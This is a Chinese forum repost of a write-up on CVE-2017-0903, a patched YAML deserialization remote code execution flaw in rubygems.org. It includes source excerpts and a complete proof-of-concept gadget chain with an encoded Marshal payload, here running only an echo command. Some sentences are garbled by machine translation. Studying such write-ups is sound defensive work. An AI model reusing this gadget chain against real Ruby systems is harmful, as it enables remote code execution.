HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

rubygems.org远程命令执行漏洞分析

  •   EvilGod ·2017-10-12 17:28:04·194 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    导语:通过rubygems.org上的反序列化漏洞执行远程代码, 是 Ruby 社区的一个非常受欢迎的托管服务。不过目前该漏洞的补丁已经发布,请点此升级到最新的版本。这个漏洞已被官方命名为CVE-2017-0903,关于该漏洞的详细官方介绍请点此。
    1..jpg

    通过rubygems.org上的反序列化漏洞执行远程代码, 是 Ruby 社区的一个非常受欢迎的托管服务。不过目前该漏洞的补丁已经发布,请点此升级到最新的版本。这个漏洞已被官方命名为CVE-2017-0903,关于该漏洞的详细官方介绍请点此

    如果你曾经编写过ruby应用程序,那么很可能你已经和rubygems.org进行过交互了。甚至你可能已经把该网站设置为信任,以允许它在你的计算机上运行任意程序,例如,当用gem命令安装rails时,gem程序就会从rubygems.org获取rails gem及其所有依赖项,并将所有内容安装到相应的位置,这样任何拥有账户的人都可以在后台发布gem命令了。

    Rubygems.org本身就是一个rails应用程序,它有着清楚地信息披露条例。



    远程命令执行漏洞分析

    Ruby gems实际上只是tar文件,所以运行tar -xvf foo.gem通常会留给你三个文件:
    1. metadata.gz
    2. data.tar.gz
    3. checksums.yaml.gz
    复制代码

    这三个文件都是以.gz结尾,属于被压缩的文件。 metadata.gz包含一个YAML文件,包含有关gem的信息,如名称,作者,版本等。 data.tar.gz包含了另一个tar文件,该文件包含所有源代码。 checksums.yaml.gz包含一个YAML文件,其中包含gem命令的一些哈希加密。

    不过我发现,解析不信任的YAML是危险的。原来,我一直认为它是一种类似JSON的良性交换格式,但事实上,YAML允许任意对象的编码,就像利用Python pickle可以实现任意代码执行。

    当你将gem上传到rubygems.org时,应用程序将调用Gem::Package.new(body).spec。该方法所用的rubygems gem使用了不安全的YAML.load调用来加载gem中的YAML文件。

    不过,rubygems.org的作者是知道该方法的安全隐患的,在2013年以前,开发者利用给内置对象扩展方法(Monkey Patching)修补了YAML和gem解析库,仅允许对白名单里的对象进行反序列化。到2015年则完全采用了Psych.safe_load。

    不幸的是,monkey-patching的修复还是遗留了一些漏洞,因为它只修补了Gem::Specification#from_yaml方法。如果我来看看在调用到#spec时所发生的一些情况,我就会明白#verify的调用,下面是调用中的一些关键部分:
    1. # ...
    2.   @gem.with_read_io do |io|
    3.     Gem::Package::TarReader.new io do |reader|
    4.     read_checksums reader
    5.     verify_files reader
    6.     end
    7.   end
    8.   verify_checksums @digests, @checksums
    9. # ...
    复制代码
    然后,在#read_checksums中会发生以下进程:
    1. # ...
    2.   Gem.load_yaml
    3.   @checksums = gem.seek 'checksums.yaml.gz' do |entry|
    4.     Zlib::GzipReader.wrap entry do |gz_io|
    5.       YAML.load gz_io.read # oops
    6.     end
    7.   end
    8. # ...
    复制代码

    现在,我就可以用我控制的输入调用YAML.load。最初,我试图在YAML.load调用时运行漏洞利用代码。但事实比我想得更复杂,虽然我可以反序列化任意对象,但其实对这些对象进行调用的方法却非常有限。是我可以对这些对象做出的唯一实际方法是非常有限的。 这时,就要在python上使用yaml解析库库,这可以让我多一些调用方法的选择,比如#[]=, #init_with,和#marshal_load(请注意不是Marshal.load)。但是对于大多数对象来说,这些方法并不会给攻击带来什么灵活性,因为他们通常的做法只是初始化几个变量并返回。在一些标准的rails库中存在一些危险的#[]=方法(如过去一样),但目前,我还没有找到一个能够攻击的对象。

    于是,我又重新检查了rubygems.org应用程序,对其中的@checksums变量的作用进行重新评估,发现可以将其设置为任何类实例变量,在#verify_checksums中的情况如下:
    1. # ...
    2.   checksums.sort.each do |algorithm, gem_digests|
    3.     gem_digests.sort.each do |file_name, gem_hexdigest|
    4.       computed_digest = digests[algorithm][file_name]
    5. # ...
    复制代码

    如果我可以构建一个调用#sort的对象,那就可以实施一些攻击,触发漏洞。这样,我就有了以下的POC。实际得到评估的有效载荷包含在底层64位编码的DEFLATE压缩的编组部分,在本例中,它只是负责运行echo "oops"。
    1. SHA1: !ruby/object:Gem::Package::TarReader
    2.   io: !ruby/object:Gem::Package::TarReader::Entry
    3.     closed: false
    4.     header: 'foo'
    5.     read: 0
    6.     io: !ruby/object:ActiveSupport::Cache::MemoryStore
    7.       options: {}
    8.       monitor: !ruby/object:ActiveSupport::Cache::Strategy::LocalCache::LocalStore
    9.         registry: {}
    10.       key_access: {}
    11.       data:
    12.         '3': !ruby/object:ActiveSupport::Cache::Entry
    13.           compressed: true
    14.           value: !binary '
    15.           eJx1jrsKAjEQRbeQNT4QwQ9Q8hlTRXGL7UTFemMysIGYCZNZ0b/XYsHK8nIO
    16.           nDtRBGbvJDzxMuRMLABHzIzOSqD0G+jbVMQmhzfLwd4jnphebwUrE0ZAoJrz
    17.           YQpLE0PCRKGCmSnsWr3p0PW000S56G5eQ91cv9oDpScPC8YyRIG18WOMmGD7
    18.           /1X1AV+XPlQ='
    复制代码

    可以看出,从最后一步才开始逆向进行#sort调用。

    在底部,我有一个ActiveSupport::Cache::Entry对象。这个对象的重要之处在于,当#value方法被调用并且@compressed为true时,它将在攻击者提供的DEFLATE压缩的数据上调用Marshal.load。解组的对象的构造方式是这样的,只要调用其上的任何方法就可以执行攻击者的代码。该方法是我以前写的,工作原理请点击这里。不幸的是,我不能在实现代码执行时,只用YAML来反序列化这个对象,因为它几乎对所有的方法都进行了undef,包括允许我设置实例变量的方法。因此,在使用时,要对Marshal.load进行加载才可以。

    我会利用ActiveSupport::Cache::MemoryStore对象在@data哈希中解组我的恶意对象。它的父类ActiveSupport::Cache::Store定义了一个在MemoryStore中调用#read_entry的#read方法,#read_entry基本上只是抓取@data中的条目并将其返回。

    由于MemoryStore以反序列化后的数组或者序列化后的字节缓存(ByteBuffer)形式将代码块存储到内存中,所以对MemoryStore#read的调用来自对Gem::Package::TarReader::Entry#read的调用,而Gem::Package::TarReader::Entry#read本身是由Gem::Package::TarReader#each调用的。读取返回后,对返回的值调用#size,由于我的恶意解组对象未定义,所以这会导致我的有效载荷开始执行。

    最后,因为Gem::Package::TarReader对可枚举性(enumerable)进行了指定,所以调用其#sort方法将会调用其#each方法,这样整个攻击链就被启动了。

    总结

    在本文中,我介绍了 YAML的强大功能,有时它也可以在表现力较弱但很安全的交换格式(如JSON)中使用。也许在将来,YAML.load可以被修改为将类的白名单作为可选参数,使复杂对象的反序列化成为选择性行为。其实,目前的YAML.load实际上应该被命名为类似YAML.unsafe_load这样的名称,这样用户就知道他们何时用YAML.safe_load了。


    194 次点击  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   228 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-7-23 06:27, Processed in 0.047965 second(s), 21 queries .